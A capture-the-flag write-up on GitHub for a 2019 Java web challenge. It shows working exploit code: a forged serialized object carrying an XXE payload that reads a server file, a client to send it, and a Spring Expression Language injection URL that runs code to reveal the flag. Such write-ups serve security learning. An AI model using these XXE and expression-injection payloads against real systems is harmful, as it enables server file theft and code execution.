Skip to content
Branch: master
Find file History
Latest commit 00ad77f Sep 8, 2019
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md
blueprint.war

README.md

Exploit 300 (pwn, 300p, ? solved)

In the challenge we get address of a Java webapplication and war file. The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization.

Once we decompile the code in IntelliJ we notice that there are 2 endpoints available. One endpoint is /jail and another is /office.

Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet. This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of /TMCTF2019/key file.

In order to get it, we need the other endpoint - /jail. This endpoint is much simpler, it does only:

ServletInputStream is = request.getInputStream();
CustomOIS ois = new CustomOIS(is);
Person person = (Person)ois.readObject();
ois.close();
response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");

Where CustomOIS allows only to deserialize objects of type com.trendmicro.Person. If we look closely how those objects are deserialized, we can see:

int paramInt = aInputStream.readInt();
byte[] arrayOfByte = new byte[paramInt];
aInputStream.read(arrayOfByte);
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("tag");
Node node = nodeList.item(0);
this.name = node.getTextContent();

It reads the size of the array, and then bytes array, which is later treated as XML document and parsed. In this XML the deserializer takes first tag node and collects text content of this node to use as name of the Person. So xml structure like:

<tag>person name</tag>

There are 2 important things to understand here:

  1. Java recognizes classes for deserialization based on their package+class name and some random serialVersionID. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for example old version of some object. But since we have the original Person class and serialVersionID is set there, we can make our own class with the same value, and fool the server to deserialize such object for us.
  2. Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack.

This is exactly what we do here, we created our own Person class:

public class Person implements Serializable {
    private static final long serialVersionUID = -559038737L;
    public String name;

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>";
        out.writeInt(payload.length());
        out.write(payload.getBytes());
    }
}

This class will get serialized the same way as Person class in the challenge expects for later deserialization. Now we can launch it:

public static void stage1() throws IOException {
    Person p = new Person();
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(out);
    oos.writeObject(p);
    String host = "http://flagmarshal.xyz/jail";
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try {
        RestTemplate restTemplate = new RestTemplate();
        byte[] yourBytes = out.toByteArray();
        HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes);
        ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class);
        System.out.println(response);
        System.out.println(response.getStatusCode());
        System.out.println(response.getBody());
    } catch (HttpServerErrorException ex) {
        System.out.println(ex.getResponseBodyAsString());
    } finally {
        try {
            bos.close();
        } catch (IOException ex) {
        }
    }
}

And from this we get the key: Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain

Now we can proceed to the second stage. The code we're attacking is:

String nametag = request.getParameter("nametag");
String keyParam = request.getParameter("key");
String keyFileLocation = "/TMCTF2019/key";
String key = readFile(keyFileLocation, StandardCharsets.UTF_8);
if (key.contentEquals(keyParam)) {
    ExpressionParser parser = new SpelExpressionParser();
    String expString = "'" + nametag + "' == 'Marshal'";
    Expression exp = parser.parseExpression(expString);
    Boolean isMarshal = (Boolean)exp.getValue();
    if (isMarshal) {
        response.getWriter().append("Welcome Marsal");
    } else {
        response.getWriter().append("I am sorry but you cannot see the Marshal");
    }
} else {
    response.getWriter().append("Did you forget your keys Marshal?");
}

We need to:

  • Send request with key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain
  • Provide parameter nametag which will be placed into expression escaped by '.

We can easily put ' inside nametag to escape the string, and evaluate any code we want. We still need to keep the type proper, so we decided to pass:

'.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '

So in the application it will become:

''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'

It's a proper boolean expression and it will dump the flag for us, because the getFlag thrown an exception. We need to encode & as %26 in order to be able to pass it into the url, and if we go to: http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain

We can see the flag in the stacktrace: java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}

You can’t perform that action at this time.